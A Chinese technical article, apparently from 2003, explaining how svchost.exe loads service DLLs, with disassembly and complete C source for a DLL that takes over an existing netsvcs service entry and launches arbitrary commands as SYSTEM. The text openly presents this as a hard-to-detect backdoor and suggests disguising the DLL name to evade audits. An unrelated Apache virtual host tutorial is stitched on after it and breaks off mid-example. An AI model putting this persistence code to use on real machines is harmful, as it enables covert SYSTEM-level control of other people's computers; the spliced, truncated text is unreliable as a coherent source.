Svchost本身只是作为服务宿主,并不实现任何服务功能,需要Svchost启动的服务以动态链接库形式实现,在安装这些服务时,把服务的可执行程序指向svchost,启动这些服务时由svchost调用相应服务的动态链接库来启动服务。

那么svchost如何知道某一服务是由哪个动态链接库负责呢?这不是由服务的可执行程序路径中的参数部分提供的,而是服务在注册表中的参数设置的,注册表中服务下边有一个Parameters子键其中的ServiceDll表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数,用来处理服务任务。

例如rpcss(Remote Procedure Call)在注册表中的位置是  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs,它的参数子键Parameters里有这样一项:
"ServiceDll"=REG_EXPAND_SZ:"%SystemRoot%\system32\rpcss.dll"
当启动rpcss服务时,svchost就会调用rpcss.dll,并且执行其ServiceMain()函数执行具体服务。

既然这些服务是使用共享进程方式由svchost启动的,为什么系统中会有多个svchost进程呢?ms把这些服务分为几组,同组服务共享一个svchost进程,不同组服务使用多个svchost进程,组的区别是由服务的可执行程序后边的参数决定的。

例如rpcss在注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs 有这样一项:
"ImagePath"=REG_EXPAND_SZ:"%SystemRoot%\system32\svchost -k rpcss"
因此rpcss就属于rpcss组,这在服务管理控制台也可以看到。

svchost的所有组和组内的所有服务都在注册表的如下位置: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,例如windows 2000共有4组rpcss、netsvcs、wugroup、BITSgroup,其中最多的就是netsvcs=REG_MULTI_SZ:EventSystem.Ias.Iprip.Irmon.Netman.Nwsapagent.Rasauto.Rasman.Remoteaccess.SENS.Sharedaccess.Tapisrv.Ntmssvc.wzcsvc..

在启动一个svchost.exe负责的服务时,服务管理器如果遇到可执行程序内容ImagePath已经存在于服务管理器的映象库中,就不在启动第2个进程svchost,而是直接启动服务。这样就实现了多个服务共享一个svchost进程。

3. Svchost代码

现在我们基本清楚svchost的原理了,但是要自己写一个DLL形式的服务,由svchost来启动,仅有上边的信息还有些问题不是很清楚。比如我们在导出的ServiceMain()函数中接收的参数是ANSI还是Unicode?我们是否需要调用RegisterServiceCtrlHandler和StartServiceCtrlDispatcher来注册服务控制及调度函数?

这些问题要通过查看svchost代码获得。下边的代码是windows 2000+ service pack 4 的svchost反汇编片段,可以看出svchost程序还是很简单的。

主函数首先调用ProcCommandLine()对命令行进行分析,获得要启动的服务组,然后调用SvcHostOptions()查询该服务组的选项和服务组的所有服务,并使用一个数据结构 svcTable 来保存这些服务及其服务的DLL,然后调用PrepareSvcTable() 函数创建SERVICE_TABLE_ENTRY 结构,把所有处理函数SERVICE_MAIN_FUNCTION 指向自己的一个函数FuncServiceMain(),最后调用API StartServiceCtrlDispatcher() 注册这些服务的调度函数。

; =============================== Main Funcion ===========================================
.text:010010B8                 public start
.text:010010B8 start           proc near
.text:010010B8                 push    esi
.text:010010B9                 push    edi
.text:010010BA                 push    offset sub_1001EBA ; lpTopLevelExceptionFilter
.text:010010BF                 xor     edi, edi
.text:010010C1                 call    ds:SetUnhandledExceptionFilter
.text:010010C7                 push    1               ; uMode
.text:010010C9                 call    ds:SetErrorMode
.text:010010CF                 call    ds:GetProcessHeap
.text:010010D5                 push    eax
.text:010010D6                 call    sub_1001142
.text:010010DB                 mov     eax, offset dword_1003018
.text:010010E0                 push    offset unk_1003000 ; lpCriticalSection
.text:010010E5                 mov     dword_100301C, eax
.text:010010EA                 mov     dword_1003018, eax
.text:010010EF                 call    ds:InitializeCriticalSection
.text:010010F5                 call    ds:GetCommandLineW
.text:010010FB                 push    eax             ; lpString
.text:010010FC                 call    ProcCommandLine
.text:01001101                 mov     esi, eax
.text:01001103                 test    esi, esi
.text:01001105                 jz      short lab_doservice
.text:01001107                 push    esi
.text:01001108                 call    SvcHostOptions
.text:0100110D                 call    PrepareSvcTable
.text:01001112                 mov     edi, eax        ; SERVICE_TABLE_ENTRY returned
.text:01001114                 test    edi, edi
.text:01001116                 jz      short loc_1001128
.text:01001118                 mov     eax, [esi+10h]
.text:0100111B                 test    eax, eax
.text:0100111D                 jz      short loc_1001128
.text:0100111F                 push    dword ptr [esi+14h] ; dwCapabilities
.text:01001122                 push    eax             ; int
.text:01001123                 call    InitializeSecurity
.text:01001128
.text:01001128 loc_1001128:                            ; CODE XREF: start+5Ej
.text:01001128                                         ; start+65j
.text:01001128                 push    esi             ; lpMem
.text:01001129                 call    HeapFreeMem
.text:0100112E
.text:0100112E lab_doservice:                          ; CODE XREF: start+4Dj
.text:0100112E                 test    edi, edi
.text:01001130                 jz      ExitProgram
.text:01001136                 push    edi             ; lpServiceStartTable
.text:01001137                 call    ds:StartServiceCtrlDispatcherW
.text:0100113D                 jmp     ExitProgram
.text:0100113D start           endp
; =============================== Main Funcion end ===========================================

由于svchost为该组的所有服务都注册了svchost中的一个处理函数,因此每次启动任何一个服务时,服务管理器SCM都会调用FuncServiceMain() 这个函数。这个函数使用 svcTable 查询要启动的服务使用的DLL,调用DLL导出的ServiceMain()函数来启动服务,然后返回。

; ============================== FuncServiceMain() ===========================================
.text:01001504 FuncServiceMain proc near               ; DATA XREF: PrepareSvcTable+44o
.text:01001504
.text:01001504 arg_0           = dword ptr  8
.text:01001504 arg_4           = dword ptr  0Ch
.text:01001504
.text:01001504                 push    ecx
.text:01001505                 mov     eax, [esp+arg_4]
.text:01001509                 push    ebx
.text:0100150A                 push    ebp
.text:0100150B                 push    esi
.text:0100150C                 mov     ebx, offset unk_1003000
.text:01001511                 push    edi
.text:01001512                 mov     edi, [eax]
.text:01001514                 push    ebx
.text:01001515                 xor     ebp, ebp
.text:01001517                 call    ds:EnterCriticalSection
.text:0100151D                 xor     esi, esi
.text:0100151F                 cmp     dwGroupSize, esi
.text:01001525                 jbe     short loc_1001566
.text:01001527                 and     [esp+10h], esi
.text:0100152B
.text:0100152B loc_100152B:                            ; CODE XREF: FuncServiceMain+4Aj
.text:0100152B                 mov     eax, svcTable
.text:01001530                 mov     ecx, [esp+10h]
.text:01001534                 push    dword ptr [eax+ecx]
.text:01001537                 push    edi
.text:01001538                 call    ds:lstrcmpiW
.text:0100153E                 test    eax, eax
.text:01001540                 jz      short StartThis
.text:01001542                 add     dword ptr [esp+10h], 0Ch
.text:01001547                 inc     esi
.text:01001548                 cmp     esi, dwGroupSize
.text:0100154E                 jb      short loc_100152B
.text:01001550                 jmp     short loc_1001566
.text:01001552 ; =================================================
.text:01001552
.text:01001552 StartThis:                              ; CODE XREF: FuncServiceMain+3Cj
.text:01001552                 mov     ecx, svcTable
.text:01001558                 lea     eax, [esi+esi*2]
.text:0100155B                 lea     eax, [ecx+eax*4]
.text:0100155E                 push    eax
.text:0100155F                 call    GetDLLServiceMain
.text:01001564                 mov     ebp, eax        ; dll ServiceMain Function address
.text:01001566
.text:01001566 loc_1001566:                            ; CODE XREF: FuncServiceMain+21j
.text:01001566                                         ; FuncServiceMain+4Cj
.text:01001566                 push    ebx
.text:01001567                 call    ds:LeaveCriticalSection
.text:0100156D                 test    ebp, ebp
.text:0100156F                 jz      short loc_100157B
.text:01001571                 push    [esp+10h+arg_4]
.text:01001575                 push    [esp+14h+arg_0]
.text:01001579                 call    ebp
.text:0100157B
.text:0100157B loc_100157B:                            ; CODE XREF: FuncServiceMain+6Bj
.text:0100157B                 pop     edi
.text:0100157C                 pop     esi
.text:0100157D                 pop     ebp
.text:0100157E                 pop     ebx
.text:0100157F                 pop     ecx
.text:01001580                 retn    8
.text:01001580 FuncServiceMain endp ; sp = -8
; ============================== FuncServiceMain() end ========================================

由于svchost已经调用了StartServiceCtrlDispatcher来服务调度函数,因此我们在实现DLL实现时就不用了,这主要是因为一个进程只能调用一次StartServiceCtrlDispatcher API。但是需要用 RegisterServiceCtrlHandler 来注册响应控制请求的函数。最后我们的DLL接收的都是unicode字符串。

由于这种服务启动后由svchost加载,不增加新的进程,只是svchost的一个DLL,而且一般进行审计时都不会去HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 检查服务组是否变化,就算去检查,也不一定能发现异常,因此如果添加一个这样的DLL后门,伪装的好,是比较隐蔽的。

4. 安装服务与设置
要通过svchost调用来启动的服务,就一定要在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下有该服务名,这可以通过如下方式来实现:
1) 添加一个新的服务组,在组里添加服务名
2) 在现有组里添加服务名
3) 直接使用现有服务组里的一个服务名,但本机没有安装的服务
4) 修改现有服务组里的现有服务,把它的ServiceDll指向自己

其中前两种可以被正常服务使用,如使用第1种方式,启动其服务要创建新的svchost进程;第2种方式如果该组服务已经运行,安装后不能立刻启动服务,因为svchost启动后已经把该组信息保存在内存里,并调用API StartServiceCtrlDispatcher() 为该组所有服务注册了调度处理函数,新增加的服务不能再注册调度处理函数,需要重起计算机或者该组的svchost进程。而后两种可能被后门使用,尤其是最后一种,没有添加服务,只是改了注册表里一项设置,从服务管理控制台又看不出来,如果作为后门还是很隐蔽的。比如EventSystem服务,缺省是指向es.dll,如果把ServiceDll改为EventSystem.dll就很难发现。

因此服务的安装除了调用CreateService()创建服务之外,还需要设置服务的ServiceDll,如果使用前2种还要设置svchost的注册表选项,在卸载时也最好删除增加的部分。

具体代码参见后边的附例(使用的是方法3)。

注: ImagePath 和ServiceDll 是ExpandString不是普通字符串。因此如果使用.reg文件安装时要注意。

5. DLL服务实现
DLL程序的编写比较简单,只要实现一个ServiceMain()函数和一个服务控制程序,在ServiceMain()函数里用RegisterServiceCtrlHandler()注册服务控制程序,并设置服务的运行状态就可以了。

另外,因为此种服务的安装除了正常的CreateService()之外,还要进行其他设置,因此最好实现安装和卸载函数。

为了方便安装,实现的代码提供了InstallService()函数进行安装,这个函数可以接收服务名作为参数(如果不提供参数,就使用缺省的iprip),如果要安装的服务不在svchost的netsvcs组里安装就会失败;如果要安装的服务已经存在,安装也会失败;安装成功后程序会配置服务的ServiceDll为当前Dll。提供的UninstallService()函数,可以删除任何函数而没有进行任何检查。

为了方便使用rundll32.exe进行安装,还提供了RundllInstallA()和RundllUninstallA()分别调用InstallService()及UninstallService()。因为rundll32.exe使用的函数原型是:
void CALLBACK FunctionName(
  HWND hwnd,        // handle to owner window
  HINSTANCE hinst,  // instance handle for the DLL
  LPTSTR lpCmdLine, // string the DLL will parse
  int nCmdShow      // show state
);
对应的命令行是rundll32 DllName,FunctionName [Arguments]

DLL服务本身只是创建一个进程,该程序命令行就是启动服务时提供的第一个参数,如果未指定就使用缺省的svchostdll.exe。启动服务时如果提供第二个参数,创建的进程就是和桌面交互的。

具体代码参见后边的附例8,源代码和DLL文件请到http://www.binglesite.net下载。

//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);

//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);

//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, … );

6. 代码使用
C:\>tlist -s
   0 System Process
   8 System
240 services.exe    Svcs:  Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe     Svcs:  RpcSs
1360 svchost.exe     Svcs:  EventSystem,Netman,RasMan,SENS,TapiSrv

C:\>rundll32 svchostdll.dll,RundllInstall abcd
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
you specify service name not in Svchost\netsvcs, must be one of following:
– EventSystem
– Ias
– Iprip
– Irmon
– Netman
– Nwsapagent
– Rasauto
– Rasman
– Remoteaccess
– SENS
– Sharedaccess
– Tapisrv
– Ntmssvc
– wzcsvc

C:\>rundll32 svchostdll.dll,RundllInstall IPRIP
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
CreateService(IPRIP) SUCCESS. Config it
Config service IPRIP ok.

C:\>sc start iprip "cmd /k whoami" 1
NT AUTHORITY\SYSTEM

SvcHostDLL: ServiceMain(3, IPRIP) called
SvcHostDLL: RealService called ‘cmd /k whoami’ Interact
SvcHostDLL: CreateProcess(cmd /k whoami) to 640

C:\>tlist -s
   0 System Process
   8 System
240 services.exe    Svcs:  Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe     Svcs:  RpcSs
640 cmd.exe         Title: C:\WINNT\System32\cmd.exe
1360 svchost.exe     Svcs:  EventSystem,Netman,RasMan,SENS,TapiSrv,IPRIP

C:\>net stop iprip
The IPRIP service was stopped successfully.

C:\>rundll32 svchostdll.dll,RundllUninstall iprip
DeleteService(IPRIP) SUCCESS.

7. 参考

Platform SDK: Tools – Rundll32
1) Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
2) Platform SDK: Tools – Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp

            2003/8

8. 代码
// SvcHostDLL.cpp : Demo for a service dll used by svchost.exe to host it.
//
// for detail comment see articles.
//   by bingle_at_email.com.cn
//      www.BingleSite.net
//
/* save following as a .def file to export function, only ServiceMain is needed.
other used to install & uninstall service.
or use /EXPORT: link option to export them.

EXPORTS
    ServiceMain
    InstallService
    UninstallService
    RundllUninstallA
    RundllInstallA
*/
/*
To compile & link:
cl /MD /GX /LD svchostdll.cpp /link advapi32.lib /DLL /base:0x71000000 /export:ServiceMain /EXPORT:RundllUninstallA /EXPORT:RundllInstallA /EXPORT:InstallService /EXPORT:UninstallService
*/

//
//  Articles:
// 1. HOWTO Create a service dll used by svchost.exe by bingle, at: http://www.BingleSite.net/article/svchost-dll-service.html
// 2. Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
// 3. Platform SDK: Tools – Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp

#include <stdio.h>
#include <time.h>
#include <assert.h>
#include <windows.h>

#define DEFAULT_SERVICE "IPRIP"
#define MY_EXECUTE_NAME "SvcHostDLL.exe"

//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);

//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);

//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, … );

//dll module handle used to get dll path in InstallService
HANDLE hDll = NULL;
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hDll = hModule;
#ifdef _DEBUG
        AllocConsole();
        OutputString("SvcHostDLL: DllMain called DLL_PROCESS_ATTACH");
        break;

    case DLL_THREAD_ATTACH:
        OutputString("SvcHostDLL: DllMain called DLL_THREAD_ATTACH");
    case DLL_THREAD_DETACH:
        OutputString("SvcHostDLL: DllMain called DLL_THREAD_DETACH");
    case DLL_PROCESS_DETACH:
        TellSCM( SERVICE_STOP_PENDING, 0, 0 );
        Sleep(1500);
        TellSCM( SERVICE_STOPPED, 0, 0 );
        OutputString("SvcHostDLL: DllMain called DLL_PROCESS_DETACH");
#endif
        break;
    }

    return TRUE;
}

void __stdcall ServiceMain( int argc, wchar_t* argv[] )
{
//    DebugBreak();
    char svcname[256];
    strncpy(svcname, (char*)argv[0], sizeof svcname); //it’s should be unicode, but if it’s ansi we do it well
    wcstombs(svcname, argv[0], sizeof svcname);
    OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname);

    hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler );
    if( hSrv == NULL )
    {
        OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]);
        return;
    }else FreeConsole();

    TellSCM( SERVICE_START_PENDING, 0, 1 );
    TellSCM( SERVICE_RUNNING, 0, 0 );

    // call Real Service function noew
    if(argc > 1)
        strncpy(svcname, (char*)argv[1], sizeof svcname),
        wcstombs(svcname, argv[1], sizeof svcname);
    RealService(argc > 1 ? svcname : MY_EXECUTE_NAME, argc > 2 ? 1 : 0);

    do{
        Sleep(10);//not quit until receive stop command, otherwise the service will stop
    }while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);

    OutputString("SvcHostDLL: ServiceMain done");
    return;
}

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
    SERVICE_STATUS srvStatus;
    srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    srvStatus.dwCurrentState = dwCurrState = dwState;
    srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
    srvStatus.dwWin32ExitCode = dwExitCode;
    srvStatus.dwServiceSpecificExitCode = 0;
    srvStatus.dwCheckPoint = dwProgress;
    srvStatus.dwWaitHint = 3000;
    return SetServiceStatus( hSrv, &srvStatus );
}

void __stdcall ServiceHandler( DWORD dwCommand )
{
    // not really necessary because the service stops quickly
    switch( dwCommand )
    {
    case SERVICE_CONTROL_STOP:
        TellSCM( SERVICE_STOP_PENDING, 0, 1 );
        OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP");
        Sleep(10);
        TellSCM( SERVICE_STOPPED, 0, 0 );
        break;
    case SERVICE_CONTROL_PAUSE:
        TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
        OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE");
        TellSCM( SERVICE_PAUSED, 0, 0 );
        break;
    case SERVICE_CONTROL_CONTINUE:
        TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
        OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE");
        TellSCM( SERVICE_RUNNING, 0, 0 );
        break;
    case SERVICE_CONTROL_INTERROGATE:
        OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE");
        TellSCM( dwCurrState, 0, 0 );
        break;
    case SERVICE_CONTROL_SHUTDOWN:
        OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN");
        TellSCM( SERVICE_STOPPED, 0, 0 );
        break;
    }
}

//RealService just create a process
int RealService(char *cmd, int bInteract)
{
    OutputString("SvcHostDLL: RealService called ‘%s’ %s", cmd, bInteract ? "Interact" : "");
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi;
    si.cb = sizeof si;
    if(bInteract) si.lpDesktop = "WinSta0\\Default";
    if(!CreateProcess(NULL, cmd, NULL, NULL, false, 0, NULL, NULL, &si, &pi))
        OutputString("SvcHostDLL: CreateProcess(%s) error:%d", cmd, GetLastError());
    else OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd, pi.dwProcessId);

    return 0;
}

int InstallService(char *name)
{
    // Open a handle to the SC Manager database.
    int rc = 0;
    HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
    SC_HANDLE hscm = NULL, schService = NULL;

    try{
    char buff[500];
    char *svcname = DEFAULT_SERVICE;
    if(name && name[0]) svcname = name;

    //query svchost setting
    char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost";
    rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
    if(ERROR_SUCCESS != rc)
    {
        OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc);
        throw "";
    }

    DWORD type, size = sizeof buff;
    rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size);
    RegCloseKey(hkRoot);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
        throw "RegQueryValueEx(Svchost\\netsvcs)";

    for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
        if(stricmp(ptr, svcname) == 0) break;

    if(*ptr == 0)
    {
        OutputString("you specify service name not in Svchost\\netsvcs, must be one of following:");
        for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
            OutputString(" – %s", ptr);
        throw "";
    }

    //install service
    hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hscm == NULL)
        throw "OpenSCManager()";
        
    char *bin = "%SystemRoot%\\System32\\svchost.exe -k netsvcs";

    schService = CreateService(
        hscm,                        // SCManager database
        svcname,                    // name of service
        NULL,           // service name to display
        SERVICE_ALL_ACCESS,        // desired access
        SERVICE_WIN32_SHARE_PROCESS, // service type
        SERVICE_AUTO_START,      // start type
        SERVICE_ERROR_NORMAL,      // error control type
        bin,        // service’s binary
        NULL,                      // no load ordering group
        NULL,                      // no tag identifier
        NULL,                      // no dependencies
        NULL,                      // LocalSystem account
        NULL);                     // no password

    if (schService == NULL)
    {
        OutputString("CreateService(%s) error %d", svcname, rc = GetLastError());
        throw "";
    }
    OutputString("CreateService(%s) SUCCESS. Config it", svcname);

    CloseServiceHandle(schService);
    CloseServiceHandle(hscm);

    //config service
    hkRoot = HKEY_LOCAL_MACHINE;
    strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
    strncat(buff, svcname, 100);
    rc = RegOpenKeyEx(hkRoot, buff, 0, KEY_ALL_ACCESS, &hkRoot);
    if(ERROR_SUCCESS != rc)
    {
        OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", svcname, rc);
        throw "";
    }

    rc = RegCreateKey(hkRoot, "Parameters", &hkParam);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
        throw "RegCreateKey(Parameters)";

    if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff))
        throw "GetModuleFileName() get dll path";

    rc = RegSetValueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1);
    SetLastError(rc);
    if(ERROR_SUCCESS != rc)
        throw "RegSetValueEx(ServiceDll)";

    OutputString("Config service %s ok.", svcname);
    }catch(char *str)
    {
        if(str && str[0])
        {
            rc = GetLastError();
            OutputString("%s error %d", str, rc);
        }
    }

    RegCloseKey(hkRoot);
    RegCloseKey(hkParam);
    CloseServiceHandle(schService);
    CloseServiceHandle(hscm);

    return rc;
}

/*
used to install by rundll32.exe
Platform SDK: Tools – Rundll32
The Run DLL utility (Rundll32.exe) included in Windows enables you to call functions exported from a 32-bit DLL. These functions must have the following syntax:
*/
void CALLBACK RundllInstallA(
  HWND hwnd,        // handle to owner window
  HINSTANCE hinst,  // instance handle for the DLL
  char *param,        // string the DLL will parse
  int nCmdShow      // show state
)
{
    InstallService(param);
}

int UninstallService(char *name)
{
    int rc = 0;
    SC_HANDLE schService;
    SC_HANDLE hscm;

    __try{
    hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (hscm == NULL)
    {
        OutputString("OpenSCManager() error %d", rc = GetLastError() );
        return rc;
    }

    char *svcname = DEFAULT_SERVICE;
    if(name && name[0]) svcname = name;

    schService = OpenService(hscm, svcname, DELETE);
    if (schService == NULL)
    {
        OutputString("OpenService(%s) error %d", svcname, rc = GetLastError() );
        return rc;
    }

    if (!DeleteService(schService) )
    {
        OutputString("OpenService(%s) error %d", svcname, rc = GetLastError() );
        return rc;
    }

    OutputString("DeleteService(%s) SUCCESS.", svcname);
    }__except(1)
    {
        OutputString("Exception Catched 0x%X", GetExceptionCode());
    }

    CloseServiceHandle(schService);
    CloseServiceHandle(hscm);
    return rc;
}

/*
used to uninstall by rundll32.exe
Platform SDK: Tools – Rundll32
The Run DLL utility (Rundll32.exe) included in Windows enables you to call functions exported from a 32-bit DLL. These functions must have the following syntax:
*/
void CALLBACK RundllUninstallA(
  HWND hwnd,        // handle to owner window
  HINSTANCE hinst,  // instance handle for the DLL
  char *param,        // string the DLL will parse
  int nCmdShow      // show state
)
{
    UninstallService(param);
}

//output the debug infor into log file & DbgPrint
void OutputString( char *lpFmt, … )
{
    char buff[1024];
    va_list    arglist;
    va_start( arglist, lpFmt );
    _vsnprintf( buff, sizeof buff, lpFmt, arglist );
    va_end( arglist );

    DWORD len;
    HANDLE herr = GetStdHandle(STD_OUTPUT_HANDLE);
    if(herr != INVALID_HANDLE_VALUE)
    {
        WriteFile(herr, buff, strlen(buff), &len, NULL);
        WriteFile(herr, "\r\n", 2, &len, NULL);
    }else
    {
        FILE *fp = fopen("SvcHost.DLL.log", "a");
        if(fp)
        {
            char date[20], time[20];
            fprintf(fp, "%s %s – %s\n", _strdate(date), _strtime(time), buff);
            if(!stderr) fclose(fp);
        }
    }

    OutputDebugString(buff);
}

Apache 配置文件Listen 与 port的区别

        我曾经不理解Apache 配置文件Listen 与 port的区别,网上也没找见,终于一次不小心在配置文件中的注释里发现了一些端倪,大概就是port无法指定IP,很显然,port就是port,怎么能指定ip呢,而Listen就不一样了,可以指定监听哪个ip的哪个端口,比如我在本机运行了apache,不过只是为了管理我自己的东西,这些东西都是很秘密的,所以不能公开,这时Listen就比port好用了,我只Listen 127.0.0.1 就安全多了,不用再配置防火墙,或目录限制,ip限制什么的了,来的简单多了。

Apache 虚拟主机设置详解

Apache 虚拟主机设置详解

 Apache 虚拟主机设置详解

    我们通常所说的虚拟主机技术就是将一台(或者一组)服务器的资源(系统资源、网络带宽、存储空间等)按照一定的比例分割成若干台相对独立的“小主机”的技术。每一台这样的“小主机”在功能上都可以实现WWW、FTP、Mail等基本的Internet服务,就像使用独立的主机一样。
   
  
    目前网站服务器的虚拟主机平台使用以开放的Apache为最多,其次是微软的Windows IIS。Apache具有跨平台(FreeBSD/Linux/Windows/Solaris/Other UNIX)、易于维护与最佳安全性等优点。

    Apache是率先支持基于IP虚拟主机的服务器之一。 Apache 1.1及其更新版本同时支持基于IP和基于主机名的虚拟主机,不同的虚拟主机有时会被称为基于主机(host-based) 或非IP虚拟主机(non-IP virtual hosts)。

    用Apache设置虚拟主机服务通常可以采用两种方案:基于IP地址的虚拟主机和基于主机名字的虚拟主机,下面我们分别介绍一下它们的实现方法以及优缺点。以便大家在具体的应用中能够选择最合适的实现方法。

一、Apache实现基于IP地址的虚拟主机(每个站点拥有一个独立IP地址)

    使用这种虚拟主机方式,首先要在服务器上为每个虚拟主机单独设置一个IP地址。这些IP地址可以通过增加多个网卡或者在一个网卡上设立多个IP地址来完成。有了多个IP地址后,可以采用以下两种方式之一来设置Apache

1、为每个虚拟主机运行一份Apache
    采用这种方式,每一份Apache程序可以以单独的用户运行,因此各个虚拟主机之间互不影响。设置这种虚拟主机时,只要为每一份Apache设置一套配置文件就可以了,唯一需要注意的是:必须使用“Listen”语句,强制每一份Apache 仅仅在属于“自己”的IP地址上接收服务请求。

    优点:各个虚拟主机之间互不干扰,安全性高。
    缺点:占用系统资源较多。

2、多个虚拟主机共享同一份Apache
    采用这种方式,各个虚拟主机共享同一份Apache,因此各个虚拟主机之间有一定的影响,尤其是执行CGI程序时,可能会带来一些严重的安全问题。设置这种虚拟主机时,只要为每一个虚拟主机设置类似如下的信息即可:
    <VirtualHost www.ghq1.com>
    DocumentRoot /www/ghq1
    …
    </VirrualHost>

    优点:占用系统资源比上一种方式少。
    缺点:安全性低,每个虚拟主机仍然需要占用一个IP地址。

   
    例如服务器一个网卡上绑定有两个IP地址(172.16.3.40和 172.16.3.50)分别对应域名 www.ghq1.com和www.ghq2.org的服务,配置如下:

    服务器配置(apache的配置文件httpd.conf)
    Listen 80

    <VirtualHost 172.16.3.40>
    DocumentRoot /www/ghq1
    ServerName www.ghq1.com
    </VirtualHost>

    <VirtualHost 172.16.3.50>
    DocumentRoot /www/ghq2
    ServerName www.ghq2.org
    </VirtualHost>

    配置简单说明:“Listen”默认httpd服务会监控第80号通信端口, “Listen”选项让用户自行指定apache 服务器监控的IP地址或通信端口。

    “DocumentRoot”:指定apache 服务器存放网页的根目录;“ServerName”:允许用户自行设置主机名,这个名称将被送到远程连接程序,以取代安装apache 服务器主机的真实名称。<VirtualHost IP >和</VirtualHost>构成虚拟主机的语法结构,其中的IP就是我们在服务器上绑定的不同的IP地址,也可以是IP地址加上通信端口号(见下面的例子)。

    如果服务器有两个IP地址(172.16.3.40和 172.16.3.50)分别对应域名 www.ghq1.com和www.ghq2.org。对每个域名,我们都希望在80端口和8080端口发布我们的网站。可以这样配置:

    服务器配置(apache的配置文件httpd.conf)
